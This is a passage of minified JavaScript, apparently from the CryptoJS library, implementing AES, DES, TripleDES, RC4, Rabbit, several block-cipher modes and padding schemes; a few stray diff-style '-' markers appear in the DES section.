i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e 